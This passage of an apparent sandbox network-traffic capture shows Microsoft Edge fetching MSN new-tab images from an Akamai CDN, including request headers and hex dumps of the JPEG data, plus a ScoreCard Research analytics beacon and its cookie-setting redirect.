64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-31 02:04:35 UTC	16384	IN	Data Raw: fb eb 82 d5 c1 6f b6 02 e4 18 5a f5 03 80 ca 87 53 a3 a6 9f f7 11 55 bf fc 49 0b 34 d4 c0 fe a2 00 98 1c 1d e3 53 6f 71 72 e2 2d a4 a9 6a 4a 12 35 24 c0 7c 1b df 5a ec ed 20 a8 2f 1f 48 a4 f3 2f e7 3d cf 73 dc f7 d7 0a ae 28 28 24 ee a7 44 89 cc 0d 32 cd d1 f4 8e 31 6f 0c e2 1d 73 27 c0 64 fa 4c 59 b5 ed 17 fe e3 c3 73 79 07 08 12 05 b2 09 27 a2 94 ad 06 c0 ea ab be 57 d4 0d c5 5a bb 72 d0 4d bc 41 2b 52 40 27 a0 c2 a1 52 74 91 cd f9 5b 9e 92 3f c7 74 2e 41 a9 34 33 15 00 74 19 55 d6 5d a1 6a 08 58 50 98 1b 46 47 57 75 d1 37 f5 56 45 eb aa 80 b2 a2 a4 1c 48 2a 93 5c d3 27 ad 79 87 ce 38 8c 8c 27 ad 69 ef 60 16 a4 98 c4 54 12 52 a0 0e 47 a4 1d b0 5c 56 22 41 02 71 c9 81 32 78 66 ca 24 ac a4 4f b5 1f dd fb 4b ff 00 c8 ed ac dd fd e8 49 3b 62 be 6f f3 ea 16 Data Ascii: oZSUI4Soqr-jJ5$\|Z /H/=s(($D21os'dLYsy'WZrMA+R@'Rt[?t.A43tU]jXPFGWu7VEH*\'y8'i`TRG\V"Aq2xf$OKI;bo
2024-10-31 02:04:35 UTC	1933	IN	Data Raw: a8 d7 5e 3c 7a 8e 86 5f 40 13 75 69 29 30 70 d6 95 ca 78 17 cb 36 d4 0e 84 4c 88 ac d3 23 4a 57 27 d5 c6 2d 2c 20 a4 63 16 80 e8 64 d4 ef 1e 0e e2 99 7f 94 c2 46 e4 a1 61 2a 95 68 6b 95 0e 8d 37 71 22 d9 4a d4 07 a9 8a 91 a8 11 e1 3a 3a 76 d4 45 e5 2a 08 f1 f7 54 d5 f5 af 5b c6 8b 69 cb 14 89 d4 f5 aa a7 fd 3d 5e bd b3 eb db ce dc 80 a4 d2 a1 15 e7 56 38 d7 80 23 78 45 53 cf c2 5f 43 b9 02 dd c2 81 bb b7 7a 41 e1 58 1c 1a 10 2d dc 50 2a c4 a9 30 06 91 d0 99 ff 00 f1 0f 9d f6 dc f4 bf 6a ca 3b 8b 41 67 e6 12 0c f0 76 c0 16 51 04 d0 55 e5 9b 78 4d c4 82 4a 49 d0 c7 4e 14 63 72 25 16 ea 05 2b 90 09 7e 88 f3 e4 e7 25 69 45 d5 aa 46 e2 77 7a 02 75 88 cc 09 a3 e1 19 24 91 d7 f3 e2 fa fd c6 f5 c2 27 00 59 de 39 0c a9 f9 74 d0 8c 58 a2 bf 97 c3 37 5c 67 d8 c4 a8 Data Ascii: ^<z_@ui)0px6L#JW'-, cdFahk7q"J::vET[i=^V8#xES_CzAX-P*0j;AgvQUxMJINcr%+~%iEFwzu$'Y9tX7\g
2024-10-31 02:04:35 UTC	16384	IN	Data Raw: d1 f1 42 d2 52 a5 2e 71 0b 85 2a 09 32 20 83 0a db 26 1a d4 23 0a aa 9d a6 36 cf 0e ae 92 b1 7a a5 49 32 08 de 00 1a 82 3e 6a d3 da 5e f8 a6 d7 2d 27 3c 20 48 d3 5a f5 7d ae d7 d3 b4 71 a8 5d 2a 07 44 c0 4c 71 ac 9f 73 e3 f6 a1 4b a7 ed 3e d2 fb a9 49 34 4e ae 5b f4 69 d4 57 73 da 5f 05 37 81 48 15 95 50 cf f4 e1 24 ba 2b fa 65 c3 73 fc 64 7a 66 08 2a 3b d0 72 88 9f 73 ea f6 fd b2 6d ff 00 92 e4 12 2a 3a 0f 1c df 3b b9 fa cf 6d 69 2a f4 88 2b 4a b7 93 86 a0 f5 d4 0e 13 25 f3 97 ff 00 96 ac 9f 6b 89 ec 88 04 1f f1 a2 07 ca 4e 23 3f 09 34 3a ea fb 96 d2 8b 48 84 8c 29 1e dc df 87 ed fe ad 7b ba 50 4e 04 ef ab 76 a6 92 74 34 ac 70 87 ea ae 2d 52 02 6a 13 12 26 27 f5 e8 f1 66 bd ba 6f 65 14 a2 f8 50 b8 90 52 75 1c df 07 b9 ed 2c 21 2a f4 81 a2 56 44 a8 90 3d Data Ascii: BR.q2 &#6zI2>j^-'< HZ}q]DLqsK>I4N[iWs_7HP$+esdzf;rsm:;mi+J%kN#?4:H){PNvt4p-Rj&'foePRu,!VD=
2024-10-31 02:04:35 UTC	16384	IN	Data Raw: fe 60 27 ac bf 45 0f 5b 9d 38 47 9f 1d 8a 8e 69 1e 3f 66 63 b1 58 3f 32 7c fe cf bc f2 1c e7 57 84 71 bf 84 af dc 9f 36 5f c1 fe bf 01 fa be c3 c9 73 95 38 c7 35 3d 98 1a a8 9e 41 bf f8 b6 fa ab c9 db 7a e7 2a ba 8a 07 b1 b0 ad 52 7c 63 dc e7 f0 bb 7f fe b9 e6 7e ef a0 f5 cd ae 9c ff 00 e0 f6 ff 00 fd 28 67 fc 5b 03 4b 36 ff 00 ed 0e eb c6 d8 ac 2d 5b 1a 5b 47 fd a9 fb 3d c0 91 a2 40 e4 3e cd f4 60 e8 c8 0e 73 1e 6f 5c a3 8a 9e da b9 c8 bc 8d 8c 74 74 6c 6c 79 03 87 8b d9 e2 59 48 ea c0 63 87 9b c8 1d 1b 29 c1 cf 6c 98 2b 93 d8 0f 49 d8 c7 46 1b 1b 7c 1c 8d af 67 da 1e 0d 91 b0 b0 8f 20 33 de e2 f0 9e a0 b0 c8 da f6 38 3c 94 bc 8e 0c 0e 18 c3 c9 1c 5e cf 12 c3 21 ca b2 9f ea 79 cc 30 92 ae a5 ca f5 79 21 c9 1e d2 c0 1e b2 97 b8 b8 30 c6 52 e0 23 8f 8b 3a Data Ascii: `'E[8Gi?fcX?2\|Wq6_s85=Az*R\|c~(g[K6-[[G=@>`so\ttllyYHc)l+IF\|g 38<^!y0y!0R#:
2024-10-31 02:04:35 UTC	7952	IN	Data Raw: 32 b9 78 a5 0a 55 d4 a6 12 2a 5c 08 4a 2d 85 48 99 d6 aa 24 f2 e1 c1 d8 52 e9 40 09 fd a5 d2 b5 de 5a bd bc 84 a6 78 81 25 f4 00 b3 77 7d 60 25 51 a8 26 3d f0 e8 72 14 85 8c 35 49 19 45 09 7c 0e e9 03 b3 5e 35 2a ea b1 ab 44 ca 87 34 c3 eb 0b 72 bc 29 23 00 ae 2f ee e9 dc 52 d3 74 a0 82 a4 c5 14 24 f8 e4 1c 0c 00 a8 63 13 24 52 41 14 d9 93 72 14 12 61 75 1b 1a ad 83 10 a3 3d 4e 9c a8 dc a2 0e e4 65 af f6 2e 8e 6d cf e4 a6 ee 3b 06 d2 ed fe d5 95 25 43 fe d0 59 ea a2 b2 12 95 1f 98 24 c8 3e 2f a2 94 85 01 d4 70 3a 72 68 b8 10 83 8a 4e c9 d3 9b 08 84 a0 4e 1d d3 d2 59 25 7a 8f 97 9c 79 87 cd 3d c2 2f 27 ff 00 d6 c2 b5 0a 10 a9 4f 99 a1 60 11 dc 26 54 a8 57 08 90 06 d1 52 c2 d0 de 98 24 c1 d3 8f 03 0d a2 e9 42 4e 33 ae 47 da ae 88 32 71 02 63 38 34 a7 b9 b4 Data Ascii: 2xU\J-H$R@Zx%w}`%Q&=r5IE\|^5D4r)#/Rt$c$RArau=Ne.m;%CY$>/p:rhNNY%zy=/'O`&TWR$BN3G2qc84
2024-10-31 02:04:35 UTC	8144	IN	Data Raw: 83 19 1f 26 38 7c 5d 03 34 a7 ea c6 b5 cd 91 1c 98 eb ab 0c 4a a0 c5 52 72 fe ee d9 40 5d 71 82 78 8d ef 17 56 a7 41 2e 53 3a 30 db 8b 88 0a 33 5c 9d 91 6d 4a 12 07 30 eb 99 3a d7 cd 92 14 51 40 4a 76 30 b2 3b 7f 49 32 20 f9 92 eb dc 54 0d e8 d9 1a 79 3b 57 31 26 02 14 36 d5 d7 de 57 cc a9 71 01 64 db 35 04 f8 17 8a b5 75 6a 9f 51 21 03 a4 9f 17 77 0c 0d da fb 98 cc 08 2a 1b 1d 42 2d a4 83 38 f1 74 81 a3 b6 ab ab 56 ee 04 9e 3a 79 b9 6d 25 54 11 3b 58 5c bf e8 1c 26 d8 55 72 58 f7 6a e0 72 12 94 e5 07 ab 8a bc 91 49 e5 fa 3a 1d ca ef 5c 41 16 50 a9 23 3a 01 cd f9 ab 56 7b ce dd 58 ee aa d8 4c d6 a4 ab 60 61 ec 8d e4 59 de 22 00 e1 01 f3 3b 8b 88 ef c4 5b 37 10 3a 85 47 91 60 9b ca bb 96 14 ff 00 55 49 e3 19 3b b6 90 54 6b fa 78 ba 39 f6 bb 13 60 7f e5 5a Data Ascii: &8\|]4JRr@]qxVA.S:03\mJ0:Q@Jv0;I2 Ty;W1&6Wqd5ujQ!w*B-8tV:ym%T;X\&UrXjrI:\AP#:V{XL`aY";[7:G`UI;Tkx9`Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49904	23.47.50.151	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:34 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOZ4.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:35 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Fri, 25 Oct 2024 03:32:12 GMT X-Datacenter: northeu X-ActivityId: 293718bb-99bc-4e81-b818-4df9a0a1bc1d Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOZ4 X-Source-Length: 49906 Content-Length: 49906 Cache-Control: public, max-age=307565 Expires: Sun, 03 Nov 2024 15:30:40 GMT Date: Thu, 31 Oct 2024 02:04:35 GMT Connection: close
2024-10-31 02:04:35 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-31 02:04:35 UTC	16384	IN	Data Raw: eb e6 4b 4f 82 d8 58 56 bc ba 96 da 13 be 3b 7f 69 bc ad c9 ad 4b ce 97 ad 23 5c 27 e4 c4 66 d1 9e f5 42 72 49 a4 f6 ef fc 2c 85 8e f7 6a fc da b3 46 92 4a fd 7b 17 e2 63 29 f4 4c cf 83 73 11 f5 35 d1 05 d5 7b 12 7f 62 dc a2 aa a3 7d bf 92 3c f9 65 d1 51 ef 7b 24 b8 9a c2 d3 b9 ee fa 2e 8b b7 bf c8 4d 7b 64 8b 46 71 11 e3 dc e9 9c e7 2e 3b 2f 5e e3 06 ee e4 ba f5 7e 5f 80 d4 f5 cd 47 8c b8 d3 ee ef 13 8e 95 2a 7b 3d ff 00 82 33 11 86 a6 79 f1 61 37 d0 f3 f2 2a e0 75 bd db 31 96 36 d7 96 e9 76 f7 1e 8a ee 78 f5 3f 73 92 ae 0e 5f cc fe 4b f8 98 e9 6b 75 b5 70 3a 17 fa 31 7d ce 51 7e 4f 89 15 6a d7 53 b4 3c 53 19 c7 84 4b 3c 79 5e 39 79 75 5f 8a 3a 30 7a 79 a7 2e 0b ed dc 71 c9 51 d9 c9 34 b2 ef d6 2f f3 25 a3 74 cf 72 69 4c ed d2 b3 3b b6 9e 84 d2 c7 08 c7 Data Ascii: KOXV;iK#\'fBrI,jFJ{c)Ls5{b}<eQ{$.M{dFq.;/^~_G{=3ya7u16vx?s_Kkup:1}Q~OjS<SK<y^9yu_:0zy.qQ4/%triL;
2024-10-31 02:04:35 UTC	1370	IN	Data Raw: 6a d6 77 71 b4 77 e7 93 eb b6 52 d9 25 1e 3f 92 66 3c c4 5c 96 fd cf e1 e4 79 98 bc 5f 97 c9 5e f1 4b 13 ea eb 52 7e d5 bf c8 f5 71 57 3b 93 1c 31 35 97 54 b7 71 7f 44 3a fc b8 1c 76 66 bc 63 18 e3 2f a5 e7 e9 6a d6 62 96 8b 67 84 70 9f 87 14 47 0f bd 8f fb 29 46 4d fd 3b 2e 1f c0 f1 79 99 2c 79 30 e6 c1 e8 e4 8f d6 9f 18 ce 0f 83 8f 73 5c 7a 33 db e7 32 c3 97 c9 cb 63 c7 6f 0e 39 ea c9 29 35 aa 79 1b de 6e ba 35 55 dc 8f 17 9c 83 fe a6 73 86 ce 94 f6 f6 7a 5e 7d f6 75 d2 df 3b f8 4c 4e 3f bb c3 d5 4f ec 98 88 fd d5 b5 62 7b 62 78 e6 be 0f b4 e5 1a 78 b1 ce 51 8d 7b b9 39 c6 5b a5 ef 6a 55 f1 e0 78 f9 21 85 63 c8 b4 a7 06 ee f7 ae 1c 17 de 91 de e6 eb 04 21 e9 2c 91 8b ba d3 ad b8 a7 6d 2e 09 70 f2 39 25 e9 38 e3 6d 25 6e a3 d3 6e bc 38 d5 33 c9 58 c5 a6 Data Ascii: jwqwR%?f<\y_^KR~qW;15TqD:vfc/jbgpG)FM;.y,y0s\z32co9)5yn5Usz^}u;LN?Ob{bxxQ{9[jUx!c!,m.p9%8m%nn83X
2024-10-31 02:04:35 UTC	16288	IN	Data Raw: 6f ef f9 1f aa bc 06 12 e5 97 71 ed d3 f5 4d 6a 71 9c f8 bc b7 e8 74 2f f4 c4 78 6e 7e 45 3e 43 3c 3a 59 c9 3c 39 23 c6 32 5e cf c8 fd 7a 5c 94 5f 43 8e 7e 1d 17 d0 f7 d3 d5 e3 ea af bd e3 bf a5 d3 e9 b5 a3 de fc 9e 86 7e 8b 93 c2 61 2f d2 8f 2f 27 82 43 a2 6b b0 f7 53 d4 ba 7b 73 98 78 ed e9 ba d1 c2 6b 6f 73 e3 80 fa 0c 9e 0f 92 3f 4b f8 a3 cf 9f 87 f3 10 fd 37 d9 fc 4f 5d 7a 8d 1b f0 bd 7e 2f 25 fa 6d 7a 71 d3 b7 cb 7b cf 03 69 61 cb 1e 30 92 f6 18 9d e2 62 78 3c f3 13 5e 31 80 22 84 30 84 22 80 09 01 80 52 00 02 00 00 60 20 00 08 00 00 a8 05 43 02 89 a1 51 60 13 0c 9a 15 1a 88 33 86 54 49 a8 a8 a9 86 65 46 53 83 b8 c9 c5 f7 a7 4f e4 3a 15 03 83 a9 f3 99 e4 aa 53 73 5f ee e3 f1 3d 7e 5b c4 71 2b 59 b5 2f f0 e5 8d 4b ea a8 c9 56 9f 25 e6 b7 3e 74 44 98 Data Ascii: oqMjqt/xn~E>C<:Y<9#2^z\_C~~a//'CkS{sxkos?K7O]z~/%mzq{ia0bx<^1"0"R` CQ`3TIeFSO:Ss_=~[q+Y/KV%>tD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	49903	23.47.50.151	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:34 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:35 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 17 Oct 2024 01:18:23 GMT X-Datacenter: eastus X-ActivityId: b8b49322-ed90-4cf2-8b13-17b88e036af3 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOOW X-Source-Length: 76188 Content-Length: 76188 Cache-Control: public, max-age=386032 Expires: Mon, 04 Nov 2024 13:18:27 GMT Date: Thu, 31 Oct 2024 02:04:35 GMT Connection: close
2024-10-31 02:04:35 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-31 02:04:35 UTC	16384	IN	Data Raw: b3 89 ae 12 0f c8 8e 44 73 07 25 6c 2f 89 78 37 88 0d 0e a0 75 2e 5c e8 bf 65 c0 91 84 4c 45 c8 e1 c2 b0 be d6 c3 3c 57 8f 3c 74 cb eb f1 72 7e 48 f5 8e a9 d3 a5 09 d7 37 60 b5 09 91 92 ad 5a 84 18 b5 0b 51 18 b5 6a 11 2c 21 6a d4 46 21 6a d5 51 88 5a b5 11 8b 50 b5 10 21 6a 11 02 10 84 40 85 ab 10 08 5a b5 06 21 6a 10 62 d4 2d 44 62 13 2c 41 8b 56 a1 06 21 6a 10 62 d4 2d 44 62 16 ad 40 a8 4c 84 46 2d 42 d4 18 85 ab 51 18 85 a8 50 62 16 a1 50 21 0b 51 18 85 a8 41 88 5a 84 18 85 a8 41 88 5a 84 18 84 2d 41 88 5a 84 18 85 a8 41 88 5a b1 14 21 08 40 21 08 41 88 5a 84 18 85 a8 50 2a 13 21 02 a1 6a 10 62 10 84 56 21 6a 10 62 16 a1 02 a1 32 54 50 b1 6a 10 62 c4 c9 51 42 c5 a8 45 2a 13 25 40 2c 5a 85 14 a8 5a b1 14 a8 5a b1 15 8b 13 25 45 62 c5 ab 14 6c a8 5a b1 Data Ascii: Ds%l/x7u.\eLE<W<tr~H7`ZQj,!jF!jQZP!j@Z!jb-Db,AV!jb-Db@LF-BQPbP!QAZAZ-AZAZ!@!AZP!jbV!jb2TPjbQBE%@,ZZZ%EblZ
2024-10-31 02:04:35 UTC	3219	IN	Data Raw: 2b e6 37 b5 45 f7 b1 38 bc 17 49 04 bc be 01 14 18 48 0e c4 0f 32 66 14 a3 54 cd 46 a2 e3 ee 5c c3 6f 50 5c e7 d1 c4 80 41 6b 5a e0 28 1a c2 05 7c a5 70 58 f6 b8 92 58 0b a0 00 72 11 bc 81 15 e5 c9 7a 63 1a 85 8d aa bb bb 36 b5 21 81 e1 83 0b 9e 63 37 d6 84 4f b4 72 e3 22 aa fd 96 d8 73 8b bd dd ed 8c 24 b9 8e 0c 66 c3 89 38 41 12 e9 82 26 5d 45 cc b5 70 62 2f 27 aa 45 a3 b2 d0 04 02 22 30 bb e9 13 26 33 2a dd bb 8e 7d b0 e0 48 e8 b2 05 23 65 c2 30 80 4c 00 41 ab a4 98 13 2a 3d 10 f4 56 c8 f7 9d 3f 55 c5 ae c0 00 c5 42 1d 8a 20 98 87 7e f0 56 6d 6a 1c 3c 41 ac b7 18 1a cc 2e 14 15 26 04 72 dd dc b8 77 61 ad b3 2e 0e 0c 6d b3 49 13 83 11 20 4e 52 e8 95 27 53 a0 f6 bd cd cc 17 e2 8d d3 15 e4 09 73 b9 67 0b 0e d3 e3 a7 47 b7 b9 75 c0 56 30 93 47 67 c5 71 75 Data Ascii: +7E8IH2fTF\oP\AkZ(\|pXXrzc6!c7Or"s$f8A&]Epb/'E"0&3}H#e0LA=V?UB ~Vmj<A.&rwa.mI NR'SsgGuV0Ggqu
2024-10-31 02:04:35 UTC	16384	IN	Data Raw: d1 8a 0e 03 3e 49 6d e9 2e 62 c6 5d 6d ad 20 43 b1 62 31 19 e1 86 8f 5c c2 8a e6 b0 9b 6c be e7 b7 15 4e 6e 22 4e 41 d2 59 b2 6b 94 9e 6b c0 6b f1 c8 0e 0e 11 94 e6 6a 6b 41 1d ab ea d7 9f a5 0d 38 a5 8d 24 c3 b0 9d a0 68 62 68 41 95 f3 df 16 b7 80 30 b1 c2 e5 a0 5e d0 e1 93 49 32 1b 90 a4 65 13 ce a8 e7 94 6c e4 e9 6e f4 ee b0 b8 b9 90 26 5b 18 8f 61 a1 5e 85 de 25 7a f3 5f 68 87 dd 61 63 85 41 71 1f bd 2d 12 22 99 13 50 bc f3 30 32 e4 86 3a eb 3a 6d 27 6a 08 df 51 02 87 2f 5a 8f ae 2d b8 ec 92 d7 08 22 48 ae fa 11 3d b4 55 ce e9 d7 d1 eb 06 99 97 08 25 d8 88 c3 b2 62 5b 91 75 44 56 a0 09 3b d7 b2 66 a6 e5 cb 16 ae 3a 0b dc d0 e7 0a 6c e2 3f bc 77 51 79 bd 05 f7 fb b3 da f1 64 80 65 8c 2d 61 da cf 11 06 91 26 8a c7 bd 39 c5 b8 89 88 c4 5c ea fb 23 69 c4 Data Ascii: >Im.b]m Cb1\lNn"NAYkkkjkA8$hbhA0^I2eln&[a^%z_hacAq-"P02::m'jQ/Z-"H=U%b[uDV;f:l?wQyde-a&9\#i
2024-10-31 02:04:35 UTC	16384	IN	Data Raw: 9b 4e ef e2 5c fd ab df ac b1 fa 4b 66 8c 63 5f fb d8 b5 13 eb 2b a8 75 9a 06 f3 d3 76 1b a7 e6 a2 3e 23 a1 e6 e6 53 97 52 e0 1d c1 cb 7b fa b8 d6 3e 61 c2 76 8e e8 f6 74 c0 f1 2e 3f 84 ab 3e db 9b 42 c1 d8 18 4f c4 af 52 3c 47 c3 62 71 b2 77 63 71 fe f3 82 b0 cf 12 d2 1f e8 f0 f9 be f3 1b f8 6e f8 25 cf 86 74 e3 fe d0 f1 4d 63 5b 5e 91 78 dc 5a 47 f7 42 9a 6d 9b 6e 07 4a 64 c6 13 39 56 b9 c9 5e df af 6d d5 07 4c 7f fe 63 07 ab 0a a9 7b ab 72 8c 76 8f c9 d7 ed bf e4 d5 6c 8c 6b a4 c7 db cf c5 e3 7a 36 1d fc 3b c3 80 3f fb 65 2b 6c 5b 6b a9 61 ce fc eb 84 7f f9 85 ea bd d6 f0 ac e9 07 e5 36 3b 95 9b 76 c8 cf dd 49 fd d7 37 e7 45 ab 73 d3 2f 3f d3 14 ff 00 75 2d e3 d6 7f e0 c2 80 3b a6 60 b6 04 fd 4d ba e0 3b 71 85 ed 83 1b f5 74 19 fc c1 f9 84 ed 6d a9 a3 Data Ascii: N\Kfc_+uv>#SR{>avt.?>BOR<Gbqwcqn%tMc[^xZGBmnJd9V^mLc{rvlkz6;?e+l[ka6;vI7Es/?u-;`M;qtm
2024-10-31 02:04:35 UTC	7952	IN	Data Raw: 25 7d ab 43 a3 66 96 d8 00 54 2e 17 87 f8 48 d3 6a 7a a7 90 a7 68 85 ec d6 79 73 bd a3 a3 5c 1c 5a 62 f2 8d cc b5 2a 17 9d ec 32 d4 88 54 32 12 a1 03 21 2a d4 0c 84 a8 44 32 12 a1 03 21 2a 10 32 c5 88 45 0b 16 a5 40 2c 5a 84 68 2c 80 b5 08 19 64 4a 10 8c 99 6a 45 a8 19 09 56 22 1d 09 10 81 d0 91 08 1d 09 10 81 d0 91 08 1d 09 10 81 d0 91 08 1d 09 50 81 d0 91 6a 06 42 54 20 65 a9 10 81 d0 95 08 87 94 24 5a 88 65 a9 10 81 d0 95 08 19 0b 11 28 19 09 56 a2 35 0b 10 88 64 25 5a 85 35 0b 10 89 46 42 55 a8 53 56 a5 42 21 90 b1 08 35 0b 10 83 50 b1 08 35 0b 16 a0 10 84 20 16 ac 42 32 64 25 42 06 42 54 20 65 8b 16 a0 c4 21 08 04 21 0a 28 42 10 8a 10 84 20 c5 88 42 80 42 10 94 a1 2a d5 89 4d 05 8b 52 a5 2b 16 2d 58 a5 29 52 29 12 25 34 8d 7c eb fc c9 e1 ce b8 5b a9 Data Ascii: %}CfT.Hjzhys\Zb2T2!D2!2E@,Zh,dJjEV"PjBT e$Ze(V5d%Z5FBUSVB!5P5 B2d%BBT e!!(B BBMR+-X)R)%4\|[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49906	108.156.211.59	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:35 UTC	925	OUT	GET /b?rn=1730340273832&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3CD7EF6E4E356EB83574FA474F626FE4&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:35 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Thu, 31 Oct 2024 02:04:35 GMT Location: /b2?rn=1730340273832&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3CD7EF6E4E356EB83574FA474F626FE4&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1E05fe2ad745d696eb1eeb71730340275; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1E05fe2ad745d696eb1eeb71730340275; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 1d46bfc36e771034d51de88a8ad881aa.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW56-P3 X-Amz-Cf-Id: LVzaL0X3AxdaiisJys6TdD7Efi0LVWzL4Wvbi9UYXf5NPsNrwQlc8w==

Session ID	Source IP	Source Port	Destination IP	Destination Port
